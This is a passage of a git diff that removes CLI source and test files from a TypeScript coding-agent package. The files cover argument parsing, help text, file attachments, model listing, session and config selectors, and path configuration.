- } else if (arg.startsWith("@")) { - result.fileArgs.push(arg.slice(1)); // Remove @ prefix - } else if (arg.startsWith("--") && extensionFlags) { - // Check if it's an extension-registered flag - const equalsIndex = arg.indexOf("="); - const flagName = arg.slice( - 2, - equalsIndex === -1 ? undefined : equalsIndex, - ); - const extFlag = extensionFlags.get(flagName); - if (extFlag) { - if (extFlag.type === "boolean") { - result.unknownFlags.set(flagName, true); - } else if (equalsIndex !== -1) { - result.unknownFlags.set(flagName, arg.slice(equalsIndex + 1)); - } else if ( - i + 1 < args.length && - !args[i + 1].startsWith("-") && - !args[i + 1].startsWith("@") - ) { - result.unknownFlags.set(flagName, args[++i]); - } else if (extFlag.allowNoValue) { - result.unknownFlags.set(flagName, true); - } - } - // Unknown flags without extensionFlags are silently ignored (first pass) - } else if (!arg.startsWith("-")) { - result.messages.push(arg); - } - } - - return result; -} - -export function printHelp(): void { - console.log(`${chalk.bold(APP_NAME)} - Purpose-driven software compiler. Takes bounded intent, produces verified software via PDD/TDD gates. - -${chalk.bold("Usage:")} - ${APP_NAME} [options] [@files...] [messages...] - -${chalk.bold("Commands:")} - ${APP_NAME} install [-l] Install extension source and add to settings - ${APP_NAME} remove [-l] Remove extension source from settings - ${APP_NAME} update [source] Update installed extensions (skips pinned sources) - ${APP_NAME} list List installed extensions from settings - ${APP_NAME} config Open TUI to enable/disable package resources - ${APP_NAME} --help Show help for install/remove/update/list - -${chalk.bold("Options:")} - --provider Provider name (default: google) - --model Model pattern or ID (supports "provider/id" and optional ":") - --api-key API key (defaults to env vars) - --system-prompt System prompt (default: purpose-driven development agent prompt) - --append-system-prompt Append text or file contents to the system prompt - --mode Output mode: text (default), json, or rpc - --print, -p Non-interactive mode: process prompt and exit - --continue, -c Continue previous session - --resume, -r Select a session to resume - --session Use specific session file - --session-dir

Directory for session storage and lookup - --no-session Don't save session (ephemeral) - --models Comma-separated model patterns for Ctrl+P cycling - Supports globs (anthropic/*, *sonnet*) and fuzzy matching - --no-tools Disable all built-in tools - --tools Comma-separated list of tools to enable (default: read,bash,edit,write) - Available: read, grep, find, ls, bash, edit, write, lsp - --thinking Set thinking level: off, minimal, low, medium, high, xhigh - --extension, -e Load an extension file (can be used multiple times) - --no-extensions, -ne Disable extension discovery (explicit -e paths still work) - --skill Load a skill file or directory (can be used multiple times) - --no-skills, -ns Disable skills discovery and loading - --prompt-template Load a prompt template file or directory (can be used multiple times) - --no-prompt-templates, -np Disable prompt template discovery and loading - --theme Load a theme file or directory (can be used multiple times) - --no-themes Disable theme discovery and loading - --export Export session file to HTML and exit - --list-models [search] List available models (with optional fuzzy search) - --discover Include discovered models in --list-models output - --discover-models [provider] Discover models from provider APIs (all or specific) - --add-provider Add a provider to models.json (use with --base-url, --api-key) - --base-url Base URL for --add-provider - --verbose Force verbose startup (overrides quietStartup setting) - --offline Disable startup network operations (same as PI_OFFLINE=1) - --help, -h Show this help - --version, -v Show version number - -Extensions can register additional flags (e.g., --plan from plan-mode extension). - -${chalk.bold("Examples:")} - # Interactive mode - ${APP_NAME} - - # Interactive mode with initial prompt - ${APP_NAME} "List all .ts files in src/" - - # Include files in initial message - ${APP_NAME} @prompt.md @image.png "What color is the sky?" - - # Non-interactive mode (process and exit) - ${APP_NAME} -p "List all .ts files in src/" - - # Multiple messages (interactive) - ${APP_NAME} "Read package.json" "What dependencies do we have?" - - # Continue previous session - ${APP_NAME} --continue "What did we discuss?" - - # Use different model - ${APP_NAME} --provider openai --model gpt-4o-mini "Help me refactor this code" - - # Use model with provider prefix (no --provider needed) - ${APP_NAME} --model openai/gpt-4o "Help me refactor this code" - - # Use model with thinking level shorthand - ${APP_NAME} --model sonnet:high "Solve this complex problem" - - # Limit model cycling to specific models - ${APP_NAME} --models claude-sonnet,claude-haiku,gpt-4o - - # Limit to a specific provider with glob pattern - ${APP_NAME} --models "openrouter/*" - - # Cycle models with fixed thinking levels - ${APP_NAME} --models sonnet:high,haiku:low - - # Start with a specific thinking level - ${APP_NAME} --thinking high "Solve this complex problem" - - # Read-only mode (no file modifications possible) - ${APP_NAME} --tools read,grep,find,ls -p "Review the code in src/" - - # Export a session file to HTML - ${APP_NAME} --export ~/${CONFIG_DIR_NAME}/agent/sessions/--path--/session.jsonl - ${APP_NAME} --export session.jsonl output.html - -${chalk.bold("Environment Variables:")} - ANTHROPIC_API_KEY - Anthropic Claude API key - ANTHROPIC_OAUTH_TOKEN - Anthropic OAuth token (alternative to API key) - OPENAI_API_KEY - OpenAI GPT API key - AZURE_OPENAI_API_KEY - Azure OpenAI API key - AZURE_OPENAI_BASE_URL - Azure OpenAI base URL (https://{resource}.openai.azure.com/openai/v1) - AZURE_OPENAI_RESOURCE_NAME - Azure OpenAI resource name (alternative to base URL) - AZURE_OPENAI_API_VERSION - Azure OpenAI API version (default: v1) - AZURE_OPENAI_DEPLOYMENT_NAME_MAP - Azure OpenAI model=deployment map (comma-separated) - GROQ_API_KEY - Groq API key - CEREBRAS_API_KEY - Cerebras API key - OPENROUTER_API_KEY - OpenRouter API key - AI_GATEWAY_API_KEY - Vercel AI Gateway API key - ZAI_API_KEY - ZAI API key - MISTRAL_API_KEY - Mistral API key - OLLAMA_API_KEY - Ollama Cloud API key - MINIMAX_API_KEY - MiniMax API key - OPENCODE_API_KEY - OpenCode Zen API key - OPENCODE_GO_API_KEY - OpenCode Go API key - KIMI_API_KEY - Kimi For Coding API key - AWS_PROFILE - AWS profile for Amazon Bedrock - AWS_ACCESS_KEY_ID - AWS access key for Amazon Bedrock - AWS_SECRET_ACCESS_KEY - AWS secret key for Amazon Bedrock - AWS_BEARER_TOKEN_BEDROCK - Bedrock API key (bearer token) - AWS_REGION - AWS region for Amazon Bedrock (e.g., us-east-1) - ${ENV_AGENT_DIR.padEnd(32)} - Session storage directory (default: ~/${CONFIG_DIR_NAME}/agent) - PI_PACKAGE_DIR - Override package directory (for Nix/Guix store paths) - PI_OFFLINE - Disable startup network operations when set to 1/true/yes - PI_SHARE_VIEWER_URL - Base URL for /share command (default: https://pi.dev/session/) - -${chalk.bold("Available Tools (default: read, grep, find, ls, bash, edit, write, lsp):")} - read - Read file contents - bash - Execute bash commands - edit - Edit files with find/replace - write - Write files (creates/overwrites) - grep - Search file contents (read-only, off by default) - find - Find files by glob pattern (read-only, off by default) - ls - List directory contents (read-only, off by default) -`); -} diff --git a/packages/pi-coding-agent/src/cli/config-selector.ts b/packages/pi-coding-agent/src/cli/config-selector.ts deleted file mode 100644 index f6bef8ca1..000000000 --- a/packages/pi-coding-agent/src/cli/config-selector.ts +++ /dev/null @@ -1,57 +0,0 @@ -/** - * TUI config selector for `pi config` command - */ - -import { ProcessTerminal, TUI } from "@singularity-forge/pi-tui"; -import type { ResolvedPaths } from "../core/package-manager.js"; -import type { SettingsManager } from "../core/settings-manager.js"; -import { ConfigSelectorComponent } from "../modes/interactive/components/config-selector.js"; -import { - initTheme, - stopThemeWatcher, -} from "../modes/interactive/theme/theme.js"; - -export interface ConfigSelectorOptions { - resolvedPaths: ResolvedPaths; - settingsManager: SettingsManager; - cwd: string; - agentDir: string; -} - -/** Show TUI config selector and return when closed */ -export async function selectConfig( - options: ConfigSelectorOptions, -): Promise { - // Initialize theme before showing TUI - initTheme(options.settingsManager.getTheme(), true); - - return new Promise((resolve) => { - const ui = new TUI(new ProcessTerminal()); - let resolved = false; - - const selector = new ConfigSelectorComponent( - options.resolvedPaths, - options.settingsManager, - options.cwd, - options.agentDir, - () => { - if (!resolved) { - resolved = true; - ui.stop(); - stopThemeWatcher(); - resolve(); - } - }, - () => { - ui.stop(); - stopThemeWatcher(); - process.exit(0); - }, - () => ui.requestRender(), - ); - - ui.addChild(selector); - ui.setFocus(selector.getResourceList()); - ui.start(); - }); -} diff --git a/packages/pi-coding-agent/src/cli/file-processor.ts b/packages/pi-coding-agent/src/cli/file-processor.ts deleted file mode 100644 index a217e8b9e..000000000 --- a/packages/pi-coding-agent/src/cli/file-processor.ts +++ /dev/null @@ -1,105 +0,0 @@ -/** - * Process @file CLI arguments into text content and image attachments - */ - -import { access, readFile, stat } from "node:fs/promises"; -import { resolve } from "node:path"; -import type { ImageContent } from "@singularity-forge/pi-ai"; -import chalk from "chalk"; -import { resolveReadPath } from "../core/tools/path-utils.js"; -import { formatDimensionNote, resizeImage } from "../utils/image-resize.js"; -import { detectSupportedImageMimeTypeFromFile } from "../utils/mime.js"; - -export interface ProcessedFiles { - text: string; - images: ImageContent[]; -} - -export interface ProcessFileOptions { - /** Whether to auto-resize images to 2000x2000 max. Default: true */ - autoResizeImages?: boolean; -} - -/** Process @file arguments into text content and image attachments */ -export async function processFileArguments( - fileArgs: string[], - options?: ProcessFileOptions, -): Promise { - const autoResizeImages = options?.autoResizeImages ?? true; - let text = ""; - const images: ImageContent[] = []; - - for (const fileArg of fileArgs) { - // Expand and resolve path (handles ~ expansion and macOS screenshot Unicode spaces) - const absolutePath = resolve(resolveReadPath(fileArg, process.cwd())); - - // Check if file exists - try { - await access(absolutePath); - } catch { - console.error(chalk.red(`Error: File not found: ${absolutePath}`)); - process.exit(1); - } - - // Check if file is empty - const stats = await stat(absolutePath); - if (stats.size === 0) { - // Skip empty files - continue; - } - - const mimeType = await detectSupportedImageMimeTypeFromFile(absolutePath); - - if (mimeType) { - // Handle image file - const content = await readFile(absolutePath); - const base64Content = content.toString("base64"); - - let attachment: ImageContent; - let dimensionNote: string | undefined; - - if (autoResizeImages) { - const resized = await resizeImage({ - type: "image", - data: base64Content, - mimeType, - }); - dimensionNote = formatDimensionNote(resized); - attachment = { - type: "image", - mimeType: resized.mimeType, - data: resized.data, - }; - } else { - attachment = { - type: "image", - mimeType, - data: base64Content, - }; - } - - images.push(attachment); - - // Add text reference to image with optional dimension note - if (dimensionNote) { - text += `${dimensionNote}\n`; - } else { - text += `\n`; - } - } else { - // Handle text file - try { - const content = await readFile(absolutePath, "utf-8"); - text += `\n${content}\n\n`; - } catch (error: unknown) { - const message = error instanceof Error ? error.message : String(error); - console.error( - chalk.red(`Error: Could not read file ${absolutePath}: ${message}`), - ); - process.exit(1); - } - } - } - - return { text, images }; -} diff --git a/packages/pi-coding-agent/src/cli/list-models.test.ts b/packages/pi-coding-agent/src/cli/list-models.test.ts deleted file mode 100644 index e56be64f2..000000000 --- a/packages/pi-coding-agent/src/cli/list-models.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import assert from "node:assert/strict"; -import type { Model } from "@singularity-forge/pi-ai"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import type { ModelRegistry } from "../core/model-registry.js"; -import { listModels } from "./list-models.js"; - -const model = (provider: string, id: string): Model => ({ - id, - name: id, - api: "openai-completions", - provider, - baseUrl: "https://example.invalid", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16000, -}); - -let originalLog: typeof console.log; -let output: string[]; - -beforeEach(() => { - originalLog = console.log; - output = []; - console.log = (...args: unknown[]) => { - output.push(args.join(" ")); - }; -}); - -afterEach(() => { - console.log = originalLog; -}); - -describe("listModels", () => { - it("exact live provider search uses discovery and replaces static rows", async () => { - const registry = { - discoverModels: async (providers?: string[]) => { - assert.deepEqual(providers, ["zai"]); - return [ - { - provider: "zai", - models: [{ id: "glm-5.1" }], - fetchedAt: Date.now(), - }, - ]; - }, - getAvailable: () => [ - model("zai", "glm-4.5-air"), - model("zai", "glm-5.1"), - ], - getDiscoveredModels: () => [model("zai", "glm-5.1")], - isDiscovered: (m: Model) => - m.provider === "zai" && m.id === "glm-5.1", - } as unknown as ModelRegistry; - - await listModels(registry, { searchPattern: "zai" }); - - const rendered = output.join("\n"); - assert.match(rendered, /glm-5\.1/); - assert.doesNotMatch(rendered, /glm-4\.5-air/); - }); - - it("discovery errors hide stale static rows for attempted live providers", async () => { - const registry = { - discoverModels: async () => [ - { - provider: "zai", - models: [], - fetchedAt: Date.now(), - error: "401 Unauthorized", - }, - ], - getAvailable: () => [ - model("zai", "glm-5.1"), - model("minimax", "MiniMax-M2.7"), - ], - getDiscoveredModels: () => [], - isDiscovered: () => false, - } as unknown as ModelRegistry; - - await listModels(registry, { discover: true }); - - const rendered = output.join("\n"); - assert.doesNotMatch(rendered, /zai/); - assert.match(rendered, /MiniMax-M2\.7/); - }); -}); diff --git a/packages/pi-coding-agent/src/cli/list-models.ts b/packages/pi-coding-agent/src/cli/list-models.ts deleted file mode 100644 index ca338ebf5..000000000 --- a/packages/pi-coding-agent/src/cli/list-models.ts +++ /dev/null @@ -1,223 +0,0 @@ -/** - * List available models with optional fuzzy search and discovery support - */ - -import type { Api, Model } from "@singularity-forge/pi-ai"; -import { fuzzyFilter } from "@singularity-forge/pi-tui"; -import { getDiscoverableProviders } from "../core/model-discovery.js"; -import type { ModelRegistry } from "../core/model-registry.js"; - -export interface ListModelsOptions { - /** Include discovered models in output */ - discover?: boolean; - /** Search pattern for fuzzy filtering */ - searchPattern?: string; - /** - * Optional predicate run per model. If provided, only models passing the - * filter are listed. Used by SF to honour allowed_providers / - * blocked_providers and provider_model_allow / provider_model_block from - * preferences. - */ - modelFilter?: (model: Model) => boolean; -} - -/** - * Format a number as human-readable (e.g., 200000 -> "200K", 1000000 -> "1M") - */ -function formatTokenCount(count: number): string { - if (count >= 1_000_000) { - const millions = count / 1_000_000; - return millions % 1 === 0 ? `${millions}M` : `${millions.toFixed(1)}M`; - } - if (count >= 1_000) { - const thousands = count / 1_000; - return thousands % 1 === 0 ? `${thousands}K` : `${thousands.toFixed(1)}K`; - } - return count.toString(); -} - -/** - * Discover models from provider APIs and print results. - */ -export async function discoverAndPrintModels( - modelRegistry: ModelRegistry, - provider?: string, -): Promise { - const providers = provider ? [provider] : undefined; - - console.log("Discovering models..."); - const results = await modelRegistry.discoverModels(providers); - - for (const result of results) { - if (result.error) { - console.log(` ${result.provider}: error - ${result.error}`); - } else { - console.log(` ${result.provider}: ${result.models.length} models found`); - } - } -} - -/** - * List available models, optionally filtered by search pattern. - * Accepts either a string (backward compat) or ListModelsOptions. - */ -export async function listModels( - modelRegistry: ModelRegistry, - optionsOrSearch?: string | ListModelsOptions, -): Promise { - const options: ListModelsOptions = - typeof optionsOrSearch === "string" - ? { searchPattern: optionsOrSearch } - : (optionsOrSearch ?? {}); - - const exactDiscoveryProvider = resolveExactDiscoveryProvider( - options.searchPattern, - ); - const shouldDiscover = - options.discover || exactDiscoveryProvider !== undefined; - const discoveryResults = shouldDiscover - ? await modelRegistry.discoverModels( - exactDiscoveryProvider ? [exactDiscoveryProvider] : undefined, - ) - : []; - const discoveredProviders = new Set(discoveryResults.map((r) => r.provider)); - - // Live-listed providers must not fall back to stale static catalog rows once a - // discovery pass was attempted. If the provider returns 401/429/empty, it - // contributes zero rows to this diagnostic output. - const models = shouldDiscover - ? [ - ...modelRegistry - .getAvailable() - .filter((m) => !discoveredProviders.has(m.provider)), - ...modelRegistry - .getDiscoveredModels() - .filter((m) => discoveredProviders.has(m.provider)), - ] - : modelRegistry.getAvailable(); - - if (models.length === 0) { - console.log("No models available. Set API keys in environment variables."); - return; - } - - // Apply fuzzy filter if search pattern provided - let filteredModels: Model[] = exactDiscoveryProvider - ? models.filter((m) => m.provider.toLowerCase() === exactDiscoveryProvider) - : models; - if (options.searchPattern && !exactDiscoveryProvider) { - filteredModels = fuzzyFilter( - models, - options.searchPattern, - (m) => `${m.provider} ${m.id}`, - ); - } - - if (options.modelFilter) { - filteredModels = filteredModels.filter((m) => options.modelFilter!(m)); - } - - if (filteredModels.length === 0) { - console.log(`No models matching "${options.searchPattern}"`); - return; - } - - // Sort by model name descending (newest first), then provider, then id - filteredModels.sort((a, b) => { - const nameCmp = b.name.localeCompare(a.name); - if (nameCmp !== 0) return nameCmp; - const providerCmp = a.provider.localeCompare(b.provider); - if (providerCmp !== 0) return providerCmp; - return a.id.localeCompare(b.id); - }); - - // Calculate column widths - const rows = filteredModels.map((m) => { - const isDiscovered = options.discover && modelRegistry.isDiscovered(m); - return { - provider: m.provider, - model: m.id, - name: m.name, - context: formatTokenCount(m.contextWindow), - maxOut: formatTokenCount(m.maxTokens), - thinking: m.reasoning ? "yes" : "no", - images: m.input.includes("image") ? "yes" : "no", - badge: isDiscovered ? "[discovered]" : "", - }; - }); - - const headers = { - provider: "provider", - model: "model", - name: "name", - context: "context", - maxOut: "max-out", - thinking: "thinking", - images: "images", - badge: "", - }; - - const widths = { - provider: Math.max( - headers.provider.length, - ...rows.map((r) => r.provider.length), - ), - model: Math.max(headers.model.length, ...rows.map((r) => r.model.length)), - name: Math.max(headers.name.length, ...rows.map((r) => r.name.length)), - context: Math.max( - headers.context.length, - ...rows.map((r) => r.context.length), - ), - maxOut: Math.max( - headers.maxOut.length, - ...rows.map((r) => r.maxOut.length), - ), - thinking: Math.max( - headers.thinking.length, - ...rows.map((r) => r.thinking.length), - ), - images: Math.max( - headers.images.length, - ...rows.map((r) => r.images.length), - ), - }; - - // Print header - const headerLine = [ - headers.provider.padEnd(widths.provider), - headers.model.padEnd(widths.model), - headers.name.padEnd(widths.name), - headers.context.padEnd(widths.context), - headers.maxOut.padEnd(widths.maxOut), - headers.thinking.padEnd(widths.thinking), - headers.images.padEnd(widths.images), - ].join(" "); - console.log(headerLine); - - // Print rows - for (const row of rows) { - const line = [ - row.provider.padEnd(widths.provider), - row.model.padEnd(widths.model), - row.name.padEnd(widths.name), - row.context.padEnd(widths.context), - row.maxOut.padEnd(widths.maxOut), - row.thinking.padEnd(widths.thinking), - row.images.padEnd(widths.images), - row.badge, - ] - .join(" ") - .trimEnd(); - console.log(line); - } -} - -function resolveExactDiscoveryProvider( - searchPattern?: string, -): string | undefined { - const query = searchPattern?.trim().toLowerCase(); - if (!query) return undefined; - return getDiscoverableProviders().find( - (provider) => provider.toLowerCase() === query, - ); -} diff --git a/packages/pi-coding-agent/src/cli/session-picker.ts b/packages/pi-coding-agent/src/cli/session-picker.ts deleted file mode 100644 index 9d0e3a13f..000000000 --- a/packages/pi-coding-agent/src/cli/session-picker.ts +++ /dev/null @@ -1,56 +0,0 @@ -/** - * TUI session selector for --resume flag - */ - -import { ProcessTerminal, TUI } from "@singularity-forge/pi-tui"; -import { KeybindingsManager } from "../core/keybindings.js"; -import type { - SessionInfo, - SessionListProgress, -} from "../core/session-manager.js"; -import { SessionSelectorComponent } from "../modes/interactive/components/session-selector.js"; - -type SessionsLoader = ( - onProgress?: SessionListProgress, -) => Promise; - -/** Show TUI session selector and return selected session path or null if cancelled */ -export async function selectSession( - currentSessionsLoader: SessionsLoader, - allSessionsLoader: SessionsLoader, -): Promise { - return new Promise((resolve) => { - const ui = new TUI(new ProcessTerminal()); - const keybindings = KeybindingsManager.create(); - let resolved = false; - - const selector = new SessionSelectorComponent( - currentSessionsLoader, - allSessionsLoader, - (path: string) => { - if (!resolved) { - resolved = true; - ui.stop(); - resolve(path); - } - }, - () => { - if (!resolved) { - resolved = true; - ui.stop(); - resolve(null); - } - }, - () => { - ui.stop(); - process.exit(0); - }, - () => ui.requestRender(), - { showRenameHint: false, keybindings }, - ); - - ui.addChild(selector); - ui.setFocus(selector.getSessionList()); - ui.start(); - }); -} diff --git a/packages/pi-coding-agent/src/config.ts b/packages/pi-coding-agent/src/config.ts deleted file mode 100644 index 5379c8176..000000000 --- a/packages/pi-coding-agent/src/config.ts +++ /dev/null @@ -1,258 +0,0 @@ -import { existsSync, readFileSync } from "node:fs"; -import { homedir } from "node:os"; -import { dirname, join, resolve } from "node:path"; - -// ============================================================================= -// Package Detection -// ============================================================================= - -const __dirname = import.meta.dirname; - -/** - * Detect if we're running as a Bun compiled binary. - * Bun binaries have import.meta.url containing "$bunfs", "~BUN", or "%7EBUN" (Bun's virtual filesystem path) - */ -export const isBunBinary = - import.meta.url.includes("$bunfs") || - import.meta.url.includes("~BUN") || - import.meta.url.includes("%7EBUN"); - -/** Detect if Bun is the runtime (compiled binary or bun run) */ -const isBunRuntime = !!process.versions.bun; - -// ============================================================================= -// Install Method Detection -// ============================================================================= - -type InstallMethod = "bun-binary" | "npm" | "pnpm" | "yarn" | "bun" | "unknown"; - -function detectInstallMethod(): InstallMethod { - if (isBunBinary) { - return "bun-binary"; - } - - const resolvedPath = `${__dirname}\0${process.execPath || ""}`.toLowerCase(); - - if ( - resolvedPath.includes("/pnpm/") || - resolvedPath.includes("/.pnpm/") || - resolvedPath.includes("\\pnpm\\") - ) { - return "pnpm"; - } - if ( - resolvedPath.includes("/yarn/") || - resolvedPath.includes("/.yarn/") || - resolvedPath.includes("\\yarn\\") - ) { - return "yarn"; - } - if (isBunRuntime) { - return "bun"; - } - if ( - resolvedPath.includes("/npm/") || - resolvedPath.includes("/node_modules/") || - resolvedPath.includes("\\npm\\") - ) { - return "npm"; - } - - return "unknown"; -} - -export function getUpdateInstruction(packageName: string): string { - const method = detectInstallMethod(); - switch (method) { - case "bun-binary": - return `Download from: https://github.com/badlogic/pi-mono/releases/latest`; - case "pnpm": - return `Run: pnpm install -g ${packageName}`; - case "yarn": - return `Run: yarn global add ${packageName}`; - case "bun": - return `Run: bun install -g ${packageName}`; - case "npm": - return `Run: npm install -g ${packageName}`; - default: - return `Run: npm install -g ${packageName}`; - } -} - -// ============================================================================= -// Package Asset Paths (shipped with executable) -// ============================================================================= - -/** - * Get the base directory for resolving package assets (themes, package.json, README.md, CHANGELOG.md). - * - For Bun binary: returns the directory containing the executable - * - For Node.js (dist/): returns __dirname (the dist/ directory) - * - For tsx (src/): returns parent directory (the package root) - */ -let _cachedPackageDir: string | undefined; - -function getPackageDir(): string { - if (_cachedPackageDir !== undefined) return _cachedPackageDir; - - // Allow override via environment variable (useful for Nix/Guix where store paths tokenize poorly) - const envDir = process.env.PI_PACKAGE_DIR; - if (envDir) { - if (envDir === "~") return (_cachedPackageDir = homedir()); - if (envDir.startsWith("~/")) - return (_cachedPackageDir = homedir() + envDir.slice(1)); - return (_cachedPackageDir = envDir); - } - - if (isBunBinary) { - // Bun binary: process.execPath points to the compiled executable - return (_cachedPackageDir = dirname(process.execPath)); - } - // Node.js: walk up from __dirname until we find package.json - let dir = __dirname; - while (dir !== dirname(dir)) { - if (existsSync(join(dir, "package.json"))) { - return (_cachedPackageDir = dir); - } - dir = dirname(dir); - } - // Fallback (shouldn't happen) - return (_cachedPackageDir = __dirname); -} - -/** - * Get path to built-in themes directory (shipped with package) - * - For Bun binary: theme/ next to executable - * - For Node.js (dist/): dist/modes/interactive/theme/ - * - For tsx (src/): src/modes/interactive/theme/ - */ -export function getThemesDir(): string { - if (isBunBinary) { - return join(dirname(process.execPath), "theme"); - } - // Theme is in modes/interactive/theme/ relative to src/ or dist/ - const packageDir = getPackageDir(); - const srcOrDist = existsSync(join(packageDir, "src")) ? "src" : "dist"; - return join(packageDir, srcOrDist, "modes", "interactive", "theme"); -} - -/** - * Get path to HTML export template directory (shipped with package) - * - For Bun binary: export-html/ next to executable - * - For Node.js (dist/): dist/core/export-html/ - * - For tsx (src/): src/core/export-html/ - */ -export function getExportTemplateDir(): string { - if (isBunBinary) { - return join(dirname(process.execPath), "export-html"); - } - const packageDir = getPackageDir(); - const srcOrDist = existsSync(join(packageDir, "src")) ? "src" : "dist"; - return join(packageDir, srcOrDist, "core", "export-html"); -} - -/** Get path to package.json */ -function getPackageJsonPath(): string { - return join(getPackageDir(), "package.json"); -} - -/** Get path to README.md */ -export function getReadmePath(): string { - return resolve(join(getPackageDir(), "README.md")); -} - -/** Get path to docs directory */ -export function getDocsPath(): string { - return resolve(join(getPackageDir(), "docs")); -} - -/** Get path to examples directory */ -export function getExamplesPath(): string { - return resolve(join(getPackageDir(), "examples")); -} - -/** Get path to CHANGELOG.md */ -export function getChangelogPath(): string { - return resolve(join(getPackageDir(), "CHANGELOG.md")); -} - -// ============================================================================= -// App Config (from package.json piConfig) -// ============================================================================= - -const pkg = JSON.parse(readFileSync(getPackageJsonPath(), "utf-8")); - -export const APP_NAME: string = pkg.piConfig?.name || "pi"; -export const CONFIG_DIR_NAME: string = pkg.piConfig?.configDir || ".pi"; -export const VERSION: string = pkg.version; - -// e.g., PI_CODING_AGENT_DIR or TAU_CODING_AGENT_DIR -export const ENV_AGENT_DIR = `${APP_NAME.toUpperCase()}_CODING_AGENT_DIR`; - -const DEFAULT_SHARE_VIEWER_URL = "https://pi.dev/session/"; - -/** Get the share viewer URL for a gist ID */ -export function getShareViewerUrl(gistId: string): string { - const baseUrl = process.env.PI_SHARE_VIEWER_URL || DEFAULT_SHARE_VIEWER_URL; - return `${baseUrl}#${gistId}`; -} - -// ============================================================================= -// User Config Paths (~/.pi/agent/*) -// ============================================================================= - -/** Get the agent config directory (e.g., ~/.pi/agent/) */ -export function getAgentDir(): string { - const envDir = process.env[ENV_AGENT_DIR]; - if (envDir) { - // Expand tilde to home directory - if (envDir === "~") return homedir(); - if (envDir.startsWith("~/")) return homedir() + envDir.slice(1); - return envDir; - } - return join(homedir(), CONFIG_DIR_NAME, "agent"); -} - -/** Get path to user's custom themes directory */ -export function getCustomThemesDir(): string { - return join(getAgentDir(), "themes"); -} - -/** Get path to models.json */ -export function getModelsPath(): string { - return join(getAgentDir(), "models.json"); -} - -/** Get path to auth.json */ -export function getAuthPath(): string { - return join(getAgentDir(), "auth.json"); -} - -/** Get path to settings.json */ -export function getSettingsPath(): string { - return join(getAgentDir(), "settings.json"); -} - -/** Get path to managed binaries directory (fd, rg) */ -export function getBinDir(): string { - return join(getAgentDir(), "bin"); -} - -/** Get path to prompt templates directory */ -export function getPromptsDir(): string { - return join(getAgentDir(), "prompts"); -} - -/** Get path to sessions directory */ -export function getSessionsDir(): string { - return join(getAgentDir(), "sessions"); -} - -/** Get path to content-addressed blob store directory */ -export function getBlobsDir(): string { - return join(getAgentDir(), "blobs"); -} - -/** Get path to debug log file */ -export function getDebugLogPath(): string { - return join(getAgentDir(), `${APP_NAME}-debug.log`); -} diff --git a/packages/pi-coding-agent/src/core/agent-session-custom-message-queue.test.ts b/packages/pi-coding-agent/src/core/agent-session-custom-message-queue.test.ts deleted file mode 100644 index cac943f51..000000000 --- a/packages/pi-coding-agent/src/core/agent-session-custom-message-queue.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { Agent, type AgentMessage } from "@singularity-forge/pi-agent-core"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { AgentSession } from "./agent-session.js"; -import { AuthStorage } from "./auth-storage.js"; -import { ModelRegistry } from "./model-registry.js"; -import { DefaultResourceLoader } from "./resource-loader.js"; -import { SessionManager } from "./session-manager.js"; -import { SettingsManager } from "./settings-manager.js"; - -let testDir: string; - -async function createSession() { - const agentDir = join(testDir, "agent-home"); - const authStorage = AuthStorage.inMemory({}); - const modelRegistry = new ModelRegistry( - authStorage, - join(agentDir, "models.json"), - ); - const settingsManager = SettingsManager.inMemory(); - const resourceLoader = new DefaultResourceLoader({ - cwd: testDir, - agentDir, - settingsManager, - noExtensions: true, - noPromptTemplates: true, - noThemes: true, - }); - await resourceLoader.reload(); - - return new AgentSession({ - agent: new Agent(), - sessionManager: SessionManager.inMemory(testDir), - settingsManager, - cwd: testDir, - resourceLoader, - modelRegistry, - }); -} - -describe("AgentSession custom message queueing", () => { - beforeEach(() => { - testDir = mkdtempSync(join(tmpdir(), "agent-session-custom-message-")); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - it("queues triggerTurn custom messages as steering when the agent is already processing", async () => { - const session = await createSession(); - const agent = (session as any).agent as Agent & { - prompt: (message: AgentMessage) => Promise; - steer: (message: AgentMessage) => void; - }; - const steered: AgentMessage[] = []; - agent.prompt = async () => { - throw new Error( - "Agent is already processing a prompt. Please wait for it to finish before sending another message.", - ); - }; - agent.steer = (message) => { - steered.push(message); - }; - - await session.sendCustomMessage( - { - customType: "sf-test", - content: "continue the active run", - display: false, - }, - { triggerTurn: true }, - ); - - assert.equal(steered.length, 1); - assert.equal(steered[0]?.role, "custom"); - assert.equal((steered[0] as any).customType, "sf-test"); - }); - - it("preserves explicit followUp delivery when triggerTurn races with active processing", async () => { - const session = await createSession(); - const agent = (session as any).agent as Agent & { - prompt: (message: AgentMessage) => Promise; - followUp: (message: AgentMessage) => void; - }; - const followUps: AgentMessage[] = []; - agent.prompt = async () => { - throw new Error( - "Agent is already processing a prompt. Please wait for it to finish before sending another message.", - ); - }; - agent.followUp = (message) => { - followUps.push(message); - }; - - await session.sendCustomMessage( - { - customType: "sf-test", - content: "after the current run", - display: false, - }, - { triggerTurn: true, deliverAs: "followUp" }, - ); - - assert.equal(followUps.length, 1); - assert.equal(followUps[0]?.role, "custom"); - assert.equal((followUps[0] as any).content, "after the current run"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/agent-session-model-switch.test.ts b/packages/pi-coding-agent/src/core/agent-session-model-switch.test.ts deleted file mode 100644 index 971547eac..000000000 --- a/packages/pi-coding-agent/src/core/agent-session-model-switch.test.ts +++ /dev/null @@ -1,27 +0,0 @@ -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { test } from "vitest"; - -const source = readFileSync( - join(process.cwd(), "packages/pi-coding-agent/src/core/agent-session.ts"), - "utf-8", -); - -test("agent-session: explicit model switches cancel retry before applying new model", () => { - const start = source.indexOf("private async _applyModelChange("); - assert.ok(start >= 0, "missing _applyModelChange"); - const window = source.slice(start, start + 900); - const abortIdx = window.indexOf("this._retryHandler.abortRetry();"); - const setModelIdx = window.indexOf("this.agent.setModel(model);"); - - assert.ok( - abortIdx >= 0, - "_applyModelChange should cancel any in-flight retry", - ); - assert.ok(setModelIdx >= 0, 